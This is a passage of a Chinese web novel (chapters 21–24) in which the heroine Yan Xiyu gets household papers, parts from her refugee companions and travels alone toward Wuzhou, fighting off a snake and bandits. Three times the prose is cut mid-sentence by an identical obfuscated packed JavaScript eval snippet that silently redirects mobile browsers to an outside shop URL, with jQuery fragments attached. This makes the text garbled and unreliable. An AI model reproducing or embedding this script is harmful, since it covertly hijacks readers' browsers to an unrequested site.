“那就给三位老人家拿碗来,”燕惜妤把木勺递给他,“你们慢慢吃,我带二柱哥回杨家那边。” 杨二柱正盯着陶锅里的面糊糊,燕惜妤这么一说,他连忙擦了擦嘴巴站了起来:“你们吃着,我和燕姑娘先回去。” 等他们走后,皮猴立即捧来了碗:“大哥,给。” 皮狗看看他,又看看其他家人,只能叹气道:“刚喝了粥,我们一人半碗,剩下的都留给爷奶和老秀才。” “那老秀才是他家什么亲戚?”燕惜妤带着杨二柱回来的时候,杨大伯随口问了句。 “狗饿了都知道回屋找吃的,你咋比狗还不知道回屋,”杨大娘拍了杨二柱一巴掌,然后才对杨大伯说,“说是早先落了难,被石大爷救了,就一直住在了石家,平日教几个小子识字,结果只有一个墩子是童生。” “石家倒是人丁兴旺,”杨大伯说。 杨大娘连忙说:“这话可千万别在他们面前提起。” “咋的?这话不能说?”杨大伯一脸的纳闷。 “曲州有和石大爷一条村子的灾民,”杨大娘先是左右瞧了瞧,这才低声说,“听说那年是马匪进城,杀光了整条村子的人,只剩下几个偷跑去顽水的小孩儿,和三两户去了镇上的人。” “啊……”方翠红小声惊呼了一下,“那石大爷他们家?” 杨大娘点点头:“石大爷那会儿正好带着石阿婆和他那小孙子石熊去了镇上寻郎中,皮狗他们五个小孩儿在河里玩水。” “这么说,皮狗他五个不是亲兄弟?”杨二柱问。 “皮狗和皮猴是亲兄弟,那瘦蛇胖头还有墩子是另外三家的,”杨大娘叹气,“石阿婆心善,把他五人都带大了,后来又救了老秀才,六个小子一块儿跟着识字,只有那墩子是聪慧的,听说老秀才还给他改了个名字。” “真看不出来啊,”杨二柱说,“那皮狗平日凶巴巴的,对石阿婆是真好。” “能不好吗,”杨柳丫撇嘴说,“两老拉扯大他们五个小子可不容易。” “行了,别嚼舌根了,”杨大伯开口。 几人这才安静地吃面糊糊。 杨大娘边说边问燕惜妤:“燕姑娘,你真要把背篓里的硬馍都拿出来吃了?” “嗯,大娘你给匀一下,够这四日咱和石家那边平分就成,”燕惜妤点头,“放了这么久了,不吃会长毛的。” “瞎说,这硬馍放仨月都不长毛,”杨大娘嗔道,“你一个姑娘家还要独自去乌州,咋的不留着自己吃,官差说再有不到十日我们灾民就能到窉州,你自己去那乌州,不知还要多久。” “燕姑娘,你骑着咱家驴子去乌州,”杨大伯忽然说,“这样脚程也快些。” 杨大柱他们几人一怔,脸上的表情各异,不过倒是没人有不忿的样子。 燕惜妤摇头,她脸上露出柔弱的笑容:“杨大伯,谢谢你的好意,我一人倒是没人留意,再骑上驴子那就太打眼了。” “就是,”杨二柱瞥了皮狗那边一眼,“那几个混子先前就盯上了咱家的驴!” “让你嘴多咧咧,那你平日又如何爱同他几人凑成堆,”杨大娘又拍了他后背一巴掌,这才对杨大伯说,“当家的,等到了窉州,咱家和他石家当个邻居如何?” 杨大伯点头:“也好。” 吃完面糊糊,燕惜妤去溪流边洗手洗脚。 方翠红和杨柳丫帮着杨大娘打水刷碗,杨柳丫不时看看燕惜妤。 “娘,如果燕姑娘也同我们去窉州就好了,我要同她当邻居。” 杨大娘和方翠红一愣,杨大娘放慢了手里的动作:“你大哥说燕姑娘去窉州有要事,咱可不能给她耽搁了。” 杨柳丫还蹲在地上看着燕惜妤:“娘,我也想像燕姑娘那样。” 她这话说的莫名其妙,不过杨大娘和方翠红都清楚她话里的意思,她是说燕姑娘有能耐可以杀死大狗熊。 “就你这懒虫,还想像燕姑娘那样,”杨大娘又开始数落起自家女儿,“你再不勤快些,等到了窉州看你如何找婆家!” 杨柳丫撇了撇嘴不再吭声。 接下来这几日灾民们可有事儿做了,一个个围着官差的马车直打转,又要看官差熬熊肉,又要看那铺在马车上的熊皮子。 那张大皮子实在是让人眼馋,这要是冬夜里能裹着睡,不知有多暖和! 瘦蛇蹲在一旁一看就是半日:“可惜了!太可惜了!那本该是燕姑娘的熊皮子!” “你还惦记着那事呢?”皮狗给他脑袋来了一下,“就算皮子在燕姑娘手里,也没你的份。” “怎的就没有?”瘦蛇肉疼地说,“燕姑娘是大气的人,准会把黑瞎子四条腿的皮子给我们,我们每人都能有一个围脖儿。” 皮狗听了一怔,想想很认同地点头:“也是,燕姑娘是大气的。” “燕姑娘咋就要去乌州呢?”瘦蛇嘀咕着说,“窉州边地近在眼前了,边地不都一样,为啥她偏要去乌州?乌州的边地是什么好宝贝吗?” 蹲在旁边的皮猴忽然说:“大哥,我们去问一下燕姑娘呗。” 皮狗想了想,还真就带着兄弟几个去找燕惜妤。 燕惜妤正抱着熟睡的杨双好坐在树荫下,见他们过来,连忙将手指竖在唇边,轻声问:“皮狗哥有事?” 皮狗几人轻手轻脚地坐在燕惜妤旁边,他压着嗓子说:“燕姑娘,你为何非要去乌州?那里的边地有些别的东西吗?” 燕惜妤没想到他会来问这个:“乌州靠近大漠,听说大漠有野骆驼野牛野马还有野羊,我这一路走来太累了,想去套匹野马以后骑。” “套野马?野马很凶的!它能一蹄子踢死一头野狼,”皮猴小声惊呼,“燕姑娘懂得如何套野马?” “不懂,”燕惜妤老实摇头,她温柔地说,“野马要是不听话,我就把它宰了吃肉。” “嘶!”皮猴倒吸了一口凉气,“那大漠里的走兽日子该是不会好过了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14282628|151906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 皮狗他们瞬间笑了起来。 这下可就把熟睡的杨双好给吵醒了:“呜哇哇,有大狗熊!大狗熊来了!” 皮狗几人顿时拔腿就跑,把燕惜妤摞在原地。 “不怕不怕,大狗熊没有了,”燕惜妤温柔地轻轻拍了拍杨双好的后背,“睡吧,睡吧。” 杨双好呜呜了两声,又扒着燕惜妤的手臂睡着了。 杨双好黏了燕惜妤四天,直到灾民长途跋涉地来到了窉州。 灾民聚在城墙外,个个瘫在地上不愿动弹。 “在这马县停留两天,然后再走个五六天,咱就能到窉州边地了!”皮狗坐在地上喘气,“总算是快到了,老子这两条腿都快废在半道了。” 皮猴和胖头已经累的倒头就睡。 墩子歇了一会儿,又站了起来。 “墩子,你去哪?”瘦蛇躺在地上问他。 “去守着官差,他们先前应了要带燕姑娘进城找吏胥,我得过去盯着他们,”墩子说。 “对,可不能让他们拿了咱的大狗熊就随意糊弄咱!”瘦蛇一个翻身站了起来,“走,喊上燕姑娘咱一起去盯着他们。” 官差正在收拾几辆空马车,有些板车上装有粮食的麻袋早就已经空了,还剩下少许,待会需要进城去衙门再补上半车。 “那姑娘呢?”有官差问,“我们要进城了,她人在哪?” 正在收拾熊皮子的官差也抬头看了看:“让人去寻……人来了。” 其他官差一看,果然看见两名男子带着头戴箬帽的姑娘走了过来。 “正要找你,我们要进城了,你跟我们走,”官差指着燕惜妤说。 燕惜妤回头对墩子和瘦蛇说:“谢谢两位大哥,我跟他们进城了。” “燕姑娘,你自己当心些,”墩子叮嘱她。 “谢谢两位大哥,”燕惜妤点点头,跟着官差们往城门走去。 灾民到了城门外,官差也就不需要再管他们,马县衙门会派人去施粥送药,他们这些跟了一路的官差需要先把马匹骑去衙门的马厩,让马倌细心照料两日,接着他们就会找间客栈好好睡上一觉。 在无战乱的日子,衙门很轻闲,因为老百姓通常都是避着衙门走的,平日要是和谁有争端,大多都不会报官。 燕惜妤跟着官差进了衙门,其他官差各有事情要做,只有一名官差带着她往另一处的文房走去。 燕惜妤脱了箬帽站在文房里等了一会儿,文书才出现。 朝廷有旨意要他们窉州接收这批灾民,又有官差亲自带人来,加上方才知州的心腹也传了话,文书只问了一两句,确定燕惜妤是跟着官差一路从仓州走到他们窉州的灾民,于是就拿出了户籍册。 “姑娘,你如果随你原先村中的灾民落户在边地,还能分到田地,”文书低头边在户籍册上书写边说,“若你落户在马县,你名下没有田地,你可想好了?” “想好了,”燕惜妤点头,她只想离仓州越远越好。 文书见此,点点头:“姑娘原籍在哪?名氏叫甚?” “舁州乔县上富屯,”燕惜妤面不改色地说,“燕惜妤。” 燕字一出口,文房里所有的人都抬头看了过来,个个眼中都露出诧异。 燕惜妤心里猛地一跳。 22. 第22章 “姑娘,可否说清你的姓氏是?”文书放下了手里拿着的毛笔。 “燕,”燕惜妤说,“燕子衔泥的那个燕。” “燕……”文书低声说了一遍,看过来的眼神有些奇怪,“燕姑娘为何要去乌州?” 我这是逃跑,所以要逃到最远的地方,万一被人发现,我就跑蛮夷人的地盘去,抓我的人总不至于会再跟过去。 燕惜妤低头站着不说话,在这个关键的时刻,她可不能随便糊弄这些官员。 “燕姑娘去乌州要找什么人?”文书又问了一句。 燕惜妤继续沉默地低着头,我在这人生地不熟的,我谁也不找。 文书好像毫不介意这位燕姑娘没回答他的话,甚至又拿起了毛笔继续书写起来。 当燕惜妤拿到了户籍书和路引的时候,她突然有种和过去的自己说再见的感觉。 她在这陌生的地方有了一个新的身份,她手上拿着的户籍和路引代表着她是大承朝的百姓。 “燕姑娘,”文书看她在发呆,还好心提醒她,“你现在可以去乌州了。” 燕惜妤看他一眼,欠身道谢:“谢谢大人。” 等她离开后,文书拿着户籍册去找主簿。 “万主簿,”文书一进来,就把手里的户籍册恭敬地递了过去,“这是仓州那边安排过来的灾民,仓州的同僚让她落户在咱马县,这位姑娘还要了路引说要去乌州。” 万主簿正靠着高背椅子在闭目养神,听文书提到乌州时,这才睁开了眼睛:“仓州的同僚给咱们大人带来了刚猎的熊皮,咱们大人收下了。” “可这姑娘她姓燕,”文书低着头说。 “燕?”万主簿一下子坐直了身体,他伸手拿起了书案上的户籍册,眯着眼睛说,“姓燕……看来仓州的同僚隐瞒了一些事啊。” “这事……”文书弓着腰问,“咱们大人是否已有成算?” “朝中那些重臣哪个心中是没盘算的,可是你瞧他们那些人在对乌州的人和事上,仍是无可奈何,”万主簿哼了一声,“咱们大人有成算又能如何,还不是一样收了熊皮给了户籍和路引。” “那依万主簿您的意思是?”文书恭敬地问。 “这些事不是我等该管的,”万主簿把户籍册丢回到书案上,意味深长地说,“随她去吧,这一路山长水远,能不能到乌州都是个未知数呐。” 文书低声附和:“那燕姑娘看着柔弱懦怯,怕是走不了多远。” 燕惜妤这时已经走到了喧嚣的地方,两边都是小贩,卖各种吃的。 燕惜妤走到一个卖肉馍的小摊前,那小贩立即对她挥手:“走走走,这里没你能吃的。”这是把她当成了要饭的乞丐了。 燕惜妤低头看看自己,默默地走到了一个卖包子的小摊前。 “姑娘,可是要买包子?”那卖包子的妇人把铺在蒸笼上面的纱布掀开,露出里面白白胖胖还冒着热气的包子,“素包子一文钱一个。” 燕惜妤拿出她那好久不曾拿出来的旧钱袋,买了两个素包子,然后一口咬掉半个,四口吃完两个包子。 那卖包子的妇人还好心地劝她:“哎哟姑娘你可慢些吃,别噎着了。” 难为她对着燕惜妤这一身脏兮兮的样子还能有如此的好脸色。 “婶子,你这里还有多少个素包子?”燕惜妤问她。 “还有三十来个,”那妇人看了眼叠在一起的蒸笼。 “那我全买了,”燕惜妤拿着旧钱袋开始数铜板,“我先给你钱,你能帮我送到城门口那里吗?” “送到城门口?”那妇人想了想,“姑娘同城门外的那些灾民是一起的?” “嗯,”燕惜妤点点头,“婶子能帮我送吗?” “能!”那妇人应了一声,然后对着街对面喊了起来,“当家的,过来一下。” 燕惜妤转头,看见街对面有个汉子正走过来,“怎的了?” “这姑娘把咱家素包子全买了,你帮着送到城门口去,”那妇人边把包子夹到同一个蒸笼里边对汉子说。 “哎,”那汉子点点头。 “大叔,你卖什么的?”燕惜妤看见了背篓。 “俺卖硬饼子,”那汉子说。 “我看看,”燕惜妤走过去,那汉子连忙从背篓里拿出了硬饼子给她看,看着和仓州的硬馍差不多。 “大叔,你这硬饼子能在热水里泡成面糊糊吗?”燕惜妤问他。 “能,”那汉子连连点头,又把另一种饼子拿了出来,“这是脆饼子,不能泡,也好吃。” 燕惜妤看了看两样饼子,最后说:“大叔,你这两种饼子还剩多少个?我都要了。” “啊?姑娘全要了?我还有九十来个饼子,”那汉子有点儿吃惊,“姑娘你买这许多脆饼子,吃不了可是会放坏的。” “脆饼子能放几天?”燕惜妤问。 “只能放一旬,不能久放,”那汉子说。 “能吃完,都卖给我,”燕惜妤说着从旧钱袋里掏出了一粒碎银子,“大叔,给你银子……” “这个……我也没戥子和剪子……”那汉子连忙摆手,“姑娘可有铜钱?” “有是有,但不够,”燕惜妤的旧钱袋放不下上百个铜钱,“大叔你先点着饼子,我去去就回。” 等燕惜妤走开后,先前把燕惜妤赶走的那卖包子的小贩过来嘲笑那妇人:“这就是一个骗子,你还真当她会把你的包子全给卖走啊?” 那妇人没理会他,继续着手中的动作。 那汉子走过来后,那小贩悻悻地走开了,边走还边往地上啐了一口。 “当家的,那姑娘同你说了几时回?”妇人问那汉子。 “没讲,只说让我把饼子都清点了,她说要全给买了,”那汉子这时开始后悔了,“唉,我方才该收下她的碎银子的。” “你还站在这做啥?”妇人催促他,“快回去把饼子都点清楚喽,人家姑娘这就要回来了。” 她这话才说完没一会儿,燕惜妤回来了。 空着手进城的她,此时手里多了一个小陶钵,和一包铜钱。 “婶子,大叔,包子和饼子都点好了没?”燕惜妤捧着铜钱走过来,还别说,那半 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14282629|151906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钱银子换了这一包铜钱,她的旧钱袋根本就放不下。 “哎!”那妇人一看见她回来,连忙紧张地把她拉到了墙角下站着,还小声对她说,“别在街上把银钱露出来,贼子多着咧。” “好,”燕惜妤说着,把铜钱搂在胸前。 “那姑娘你在这等着,我让我家那口子把背篓提过来,”妇人说完,急急地走开,很快又带着汉子走了回来。 素包子和饼子,一共花了一百二十二个铜钱,燕惜妤数铜钱的时候,那妇人和汉子帮她挡着路人的视线,三人像做贼似的。 那汉子收了铜钱之后,立即眉开眼笑地挑着两背篓走在前,那妇人则端着笼包子跟着,俩人脚下走的那叫一个顺溜。 反倒是燕惜妤慢悠悠地远远跟着,不远处有好些人对着一面墙凑成堆。 “衙差贴的这是啥通缉令?” “这是抓逃奴呢。” 燕惜妤正要走过去的脚步一顿。 “是哪位官老爷家的奴仆逃跑了?” “不是官老爷家的,这通缉令上面写的是仓州教坊司的女乐逃跑了。” “仓州的?老远了!” “城外那群灾民好像是从仓州过来的,这人会不会藏在人群里了?” 燕惜妤站定在原地,然后缓缓向这边走来。 “啥子叫女乐?” “给官老爷唱曲儿的呗。” 燕惜妤走到旁边,看向墙上张贴着的通缉画像——画里的人不是她。 也不是曾在教坊司里和她同住小院的那几位姑娘。 燕惜妤仔细看了看画像,这才转身走开。 那对夫妇已经等在城门口了。 “姑娘,外面太乱,我不能跟你出去,”那汉子说。 “大叔,你在这等……”燕惜妤的话还没说完,城门外有人在喊她。 “燕姑娘!燕姑娘!”瘦蛇在城门外又蹦又跳着朝这边挥手。 他喊的大声,城门内外的灾民和守城兵都听见了,但大家都没怎么留意她。 燕惜妤眯着眼观察着那些守城兵,只有一人很随意地向她这边扫了一眼,然后又转回头去盯着灾民的动静。 普通老百姓和低层官兵都对她的姓氏没反应,那为什么衙门里的文书却会在意她的姓氏? 燕惜妤想不明白这个原因。 她走向墩子和瘦蛇面前:“俩位大哥一直在等我?” “我俩也没啥事,”瘦蛇紧张地看着她,“燕姑娘,你拿到户籍和路引了?” “拿到了,”燕惜妤笑着点头,“瘦蛇哥,劳烦你回去找杨大娘要两个筐子过来,我买了点包子和硬饼子,没筐装。” “又花钱了?”墩子蹙着眉说,“燕姑娘,乌州很远,你……” 燕惜妤抬头看着他,眼神无辜,可怜兮兮地说:“石大哥,我想给你们买点吃的。” “好好好,买呗,”瘦蛇抢着说,“你们等我一会,我去去就回。”他话还没说完就跑了。 墩子无奈地摇摇头。 燕惜妤看着他,忽然想问问关于姓氏的事情。 23. 第23章 墩子是个很聪敏的人,他有些迟疑地问:“燕姑娘可是有话要说?” 燕惜妤却摇头:“没有。” 墩子的脑筋转得太快,她怕自己会引起对方的怀疑。 关于姓氏,普通人都会闲来无事聊聊自己同姓氏祖上的大人物,她如果是大承朝的人,她就该知道。 她如果不知道,那她就不是大承朝的人。 燕惜妤不知道,她也确实不是大承朝的人,她甚至不是这个时代的人。 虽然不能问,但燕惜妤其实也分析出了一些关于她姓氏的关键。 她这姓氏,从杨家石家等人的态度可以看出,在大承朝底层的老百姓心里不是什么稀奇的姓氏,最起码不是皇家的姓氏,也不是什么高官显贵名门大族的姓氏。 可是在衙门行辕的官吏之间,却是连文书这种小官属吏都知道的,那就能证明燕氏一族曾经是显赫一时的簪缨权门。 最起码在这些当官的人心中,是很有分量的。 燕惜妤觉得自己该去买本大承朝的史书看看。 就在这时,瘦蛇回来了,还带来了杨二柱和皮猴,后面还跟着石熊和胖头,除了杨大柱和皮狗,都来了。 “燕姑娘,背篓给你拿来了,”瘦蛇小心地举着手中的背篓。 杨二柱和皮猴一人手里拎着个筐子,这筐子一看就是杨家的。 “都给我,”燕惜妤先背好背篓,又拿过两个筐子,“你们在这等我。” 她刚从城里出来,这会儿转身又往里走,还以为守城兵会问她要户籍和路引,谁知道守城兵根本就不拦她。 ……这是知道我身上有了户籍和路引吗? 其他灾民见守城兵不拦她,也想趁机闯进城,结果被守城兵拿着长矛给吓了回去。 “大叔,婶子,抱歉让你们久等了,”燕惜妤把筐子放在地上,又把背篓也脱了,“大叔,我这背篓里有油纸,能麻烦大叔帮我数三十个脆饼子放进去吗?” “我来数,他粗手粗脚的,”那妇人手快地接过背篓,“当家的,你给把包子和硬饼子分别放筐子里。” “哎,”那汉子应了,先把包子放在一个筐子里,再把硬饼子叠在另一个筐子里。 那妇人数了三十个脆饼子放进了背篓,又把筐里的包子小心叠着,把筐子空出一半来放剩下的脆饼子。 “姑娘你看这样行不?”那妇人问。 “可以,谢谢,”燕惜妤背上背篓,再一手提一个筐子,“那大叔婶子,我这就出城了。” “哎好,”那妇人笑着说,“听说你们会去边地落户,都在窉州这地界住着,姑娘下回再来咱马县啊。” “我让我兄弟以后来寻婶子买包子,”燕惜妤笑着应了一声。 至于她,从乌州过来山长水远的,就不过来了。 燕惜妤拎着两筐吃的走出城门口时,四周的灾民都盯着她。 杨二柱他们几人一个大迈步冲了过来,伸手把她手里的筐子接了过去。 胖头和瘦蛇是几人之中最凶的,他们俩人走路像螃蟹似的,左右大幅度地晃着身体,灾民见了纷纷给他们让路。 燕惜妤被几人夹着带到杨家马车这边,不知道的人还以为他们几个混子挟持着一个姑娘呢。 “唉,我家这几个娃日后可咋办哦,”石阿婆愁的脸更皱了。 老秀才摸摸他下巴那稀疏的羊尾巴胡须,笑着说:“墩子会看着些他们的。” 一大家子,也就墩子的脑袋瓜子是聪慧的。 “燕姑娘,你怎的又买了这么些回来?”杨大娘看着筐子里的包子和饼子说,“花这些钱做甚,咱这些人过几日就走到边地了。” “到了边地那才是辛苦的开始,”燕惜妤给她手里塞了一个包子,然后让墩子会几个给老秀才他们,还给杨双全和杨双好各递了一个包子,“一路这么辛苦,吃两个包子花不了几个钱,这家包子好吃,二柱哥以后要是来马县,可以去她家买来吃。” “唉,你留着自己吃,”杨大娘拿着包子都不舍得吃,“你这一路要走多久啊,都带着路上吃。” “我带了,”燕惜妤给她看了看背着的背篓,然后去找她的包裹,“大伯大娘,你们吃着,我这就去乌州了。” 她总是这样,要和人分开时,每次都是很随意地说两句,像是只走开一小会,很快就又会见到似的。 但她这一去,是真的山长水远,大家都不知道她能不能安全走到乌州。 “这就要去乌州了?”杨大娘瞬间就急了,“可是你那病咋办?你要是晕半道上呢?把驴子带上吧,走着多累脚啊。” “不能带驴子,我要是真晕半道上,驴子指不定就跑了,”燕惜妤摆着手说,“我要晕的时候,会在草丛里藏起来。” “欸,”杨大娘已经开始抹眼泪了,“那你自己小心些,别乱信外头那些人,外头的人心坏,要不你把二柱带上,他腿脚好着呢。” “我自己会注意的,不带二柱哥,他留在这边还能给家里多开荒几亩地,有了地种了粮食日子才有盼头,”燕惜妤柔声劝杨大娘,忽然腿上一紧,她低头一看,发现是杨双好正抱着自己的腿,“小双好,怎么了?” 杨双好包子也不吃了,这会儿抱着燕惜妤直掉泪,她虽然小,但她能听懂大人说得话。 “呜呜呜,姐姐……不走……”杨双好哭得稀里哗啦的。 “不哭,”燕惜妤摸摸她发黄的头发,“你乖乖的,我回头给你带匹小马,以后咱小双好也是有小马的小姑娘了。” “小马?”杨双好立即就不哭了,“驾驾!” “嗯,对,骑着马驾驾,到时候我给你带匹小马过来,你不哭我才带,”燕惜妤低头看着她,“不哭啦。” 话才刚说完,她的手臂忽然就被人抓住了,一看,发现是杨双全。 “双全也想要小马?”燕惜妤问他。 “嗯嗯,”杨双全重重地点头。 “好,我记住了,你看好妹妹,我也给你带小马过来,”燕惜妤摸摸他的脑袋瓜子。 方翠红抱着包裹过来,包裹上还放着一个小铁锅和一个小布包。 “我公爹让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14282630|151906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把家里的火折子和火石给你带着,”方翠红说,“这样你路上也能喝到热水。” 杨柳丫手里拿着羊皮水囊站在方翠红的身后。 燕惜妤看看她们,又去看杨大伯:“谢谢杨大伯。” 杨大伯对她摆摆手:“路途遥远,要是累了不想走了,想办法找到驿站叫人捎个信回来,我让大柱他俩兄弟去接你。” “哎,好,”燕惜妤笑着点头。 杨大柱皮狗他们站成一排,个个脸上的表情都绷得紧紧的,尤其是杨二柱,都咬着牙了,估计是怕一开口就要哭。 燕惜妤接过自己的包裹和羊皮水囊,对他们摆摆手:“我去乌州了。” 说完,她抱着包裹慢悠悠地向前走。 没回头,也没去看旁边那些或站或坐的灾民,只看着眼前的路。 路不好走,虽然是官道,但有些地方也是坑坑洼洼的,好在这段时间没下雨,否则走在半道上也不知道该去哪里避雨。 傍晚的时候,大山也是很吵的。 风声,树枝被吹响的声音,各种动物鸟类还有虫子的叫声吵个不停。 燕惜妤坐在一棵树的树杈上,背靠着树干,怀里抱着包裹。 杨家给的小铁锅被她用草绳绑在背篓上,这时背篓被她放在另一个树杈上。 她抬头透过树梢看着天空。 天空有着圆月,月光很亮,能看清不远处的几块石头。 这种独自一人的世界才是她所熟悉的,之前无论是在教坊里,还是和灾民走在一起,那种身旁有人的日子才是陌生的。 可现在她却有点不习惯这种独自一人的感觉。 燕惜妤自嘲地笑了笑。 “睡吧,睡醒还要继续赶路,”燕惜妤叹气,拍了拍膝上的包裹,然后坐在树杈上脸抵着包裹睡觉。 也不知道过了多久,皎洁的月光被云层遮挡了,阴暗的树下有着爬虫发出的鸣叫。 有只青蛙从草丛里跳了出来,还没跳两下,被一条两指粗的毒蛇一口拦腰咬在嘴里。 毒蛇把青蛙吞下肚后,吐着开叉的舌头高高竖起了上半身。 而在树上,竟然还有一条毒蛇,正缓缓向着熟睡的燕惜妤而来。 燕惜妤侧着脸枕着包裹睡着,呼吸很轻,对近在咫尺的危险毫不知情。 树上的毒蛇悄无声息地竖起了它那三角蛇头,在黑暗中左右晃了晃,毫无预兆的,毒蛇张开嘴对着燕惜妤抱着包裹的手腕一口咬了下去。 也就是在这一霎,白色光芒在黑夜中如银蛇一闪而过,“噗”的一声,张着嘴正要咬到燕惜妤的毒蛇被狠狠击飞,随即掉入了远处的草丛中。 树下那条毒蛇被惊的瞬间逃走。 黑暗中,燕惜妤抱着包裹的左手臂不知道在什么时候已经抬起,修长的手指正轻轻抓着刚收回的链镖。 在这时,她才慢慢抬起了头,先是扫了一眼黑暗中的草丛,然后在黑暗中,把罩着镖头的藤篾编成的小兜解了下来。 月光在这时穿过了云层,透过叶梢刚好照亮了锋利的镖头。 24. 第24章 清晨的荒野和夜晚一样的吵。 燕惜妤正在烧水,三块石头垒成的灶头,杨家送的小铁锅放在上面,锅里面的水已经烧开了。 把火熄灭,先是给两个陶钵里分别倒满水,然后锅里还剩下一点,分三处把开水晾凉。 燕惜妤嚼着脆饼子往官道的那边看,可惜饼子都吃完了,也没看到有镖局的押镖车队经过。 她只好把晾凉的水灌入羊皮水囊里,然后收拾收拾继续赶路。 一边是大山,一边是荒地,脚下只有一条黄泥路。 燕惜妤独自一人走在官道上,下意识向旁边看了一眼,旁边并没有人。 不像之前和杨家他们走在一起的时候,身旁总是会有人,而且还有头总是不听唤的驴子。 靠一双人脚要走多久才能到乌州? 燕惜妤开始拧眉。 就在这时,前面被山壁挡着的转弯角突然传来了说话声。 “大哥,这匹马可真听话!” “那是,俺可是足足喂了它半年!” “大哥,啥时候让俺也骑骑马?” “你也想骑?” “是,咦?大哥,有人!” “啥子人?!兄弟们!动手!” “哗啦”一下,六、七个人手持着砍刀一下子就冲了过来。 燕惜妤抱着包裹被人包围着,她看都不看他们,视线一直停留在前面的马匹上。 “大哥!是个姑娘!” “啊哈哈!好啊!兄弟们,把人抢回去给老子当个使唤丫鬟!” “怎么抢?” “哎?这姑娘吓傻了,不跑也不喊。” 燕惜妤在这时候总算是动了,她看着骑着马的劫匪头子问:“你这马也是抢来的吗?” “啊哈哈,这不是没傻嘛,”那劫匪头子坐在马背上哈哈大笑,“这马是那些个富户孝敬给我的!” “是抢来的就好,”燕惜妤点了点头。 那劫匪头子顿时不高兴了,瞪着眼睛吼他的手下:“还傻愣着干什么?快给老子把人绑了带走!” 几名手下一听,立即凶神恶煞地举着砍刀扑了过来! 燕惜妤左手轻轻一扬,一道如灵蛇般的银光在几人眼前飞快地一闪而过,紧接着就是“啊”的喊叫声,劫匪忽然个个都捂着脖子倒在了地上! “啊血?!” “我的脖子被划开了?!” “大哥快救我们!” 劫匪头子僵在马背上不能动弹,燕惜妤向前走了一步,他像是才惊醒过来,屁滚尿流地爬下来跪在地上猛磕头。 “女侠饶命!女侠饶命啊!” “这马哪里来的?”燕惜妤抬脚走过他的身边,伸手拉住了马的缰绳。 “是、是我们偷来的,”那劫匪头子趴在地上哆嗦着身体说,“那张家不是什么好人啊……” “嗯,”燕惜妤点点头,然后动作利索地跃上了马背,“这马我要了。” “好好,”劫匪头子连连点头。 燕惜妤扫了地上的劫匪一眼,把劫匪头子看得恨不得缩成一团,这才轻拉缰绳,在劫匪头子惊愕的目光下,让马匹掉头,之后慢悠悠地离开。 “……女侠这就走了?!”捂着脖子的劫匪很小声地问,语气中充满了难以置信,“她不杀我们吗?” 劫匪头子“啪”地给他脑门来了一下:“我们又不是那大奸大恶的人,女侠当然不会杀我们!” 那劫匪脖子手上都是血,劫匪头子凑过去看了看他脖子上的伤口,发现只是破了皮,并没有伤到咽喉。 “都别嚎了,女俠压根就没想杀我们。” “大哥,我这脑袋保住了?!”有劫匪还惊魂未定。 “大哥,你说女侠要是我们的大当家那该多好!”有个劫匪忽然说,“要是她是我们的大当家,那什么张家梁家就再也不敢压榨我们了。” 劫匪头子听了,喃喃自语道:“也不知道女侠要去哪?” 燕惜妤骑着马一路向前,觉得去乌州也不算远。 赶了大半天的路,傍晚时分,天边乌云翻滚。 燕惜妤骑在马背上,抬天看着乌云,轻轻一拍马背:“下雨了,不想被淋湿就跑快点。” 马也是害怕淋雨的,它这一次跑的可快了。 雨滴刚落下,燕惜妤看到了路旁有两间倒塌了小半的破屋子。 她轻拉缰绳:“马儿呀,咱今日不用被雨淋了。” 燕惜妤牵着马进了破屋,角落里立即蹿出了好几只老鼠,头顶上还有蝙蝠在盘旋着。 大雨倾盆而下,豆大的雨滴打在屋外的泥地上,屋里也漏着雨,滴湿了马背上的马鞍。 “咱将就着待一晚,等以后我给你搭一间超豪华的马棚,”燕惜妤把马牵到不漏雨的角落里绑好。 她自己用脚随意地将旁边地上的杂物扫到角落里,然后把背篓放下,再把包裹搁在背篓上。 左右看了看,她打算把窗格子拆下来当柴烧。 就在这时,外面传来一阵吵杂的声音。 “大哥,这里能避雨。” “快快!” 燕惜妤继续掰窗格子,连看都不看屋外一眼。 “这娘们还想逃!” “啪”一声,是巴掌落下的声音。 “蠢货,别把她打坏了。” “是是是,听大哥的。” “把这娘们拖进去,咱哥几个待会儿好好乐乐。” “诶嘿嘿!”有人□□着把一个人甩进了屋里。 “嘭”一声,那人重重地倒在地上。 燕惜妤手里举着刚掰下的窗格子,侧头看地上的人,再去看其他人。 地上的是个被五花大绑的披头散发女子,而进来的是四个满脸横肉手拿刀剑的歹徒。 四人首先看见的是马,然后才看见了她。 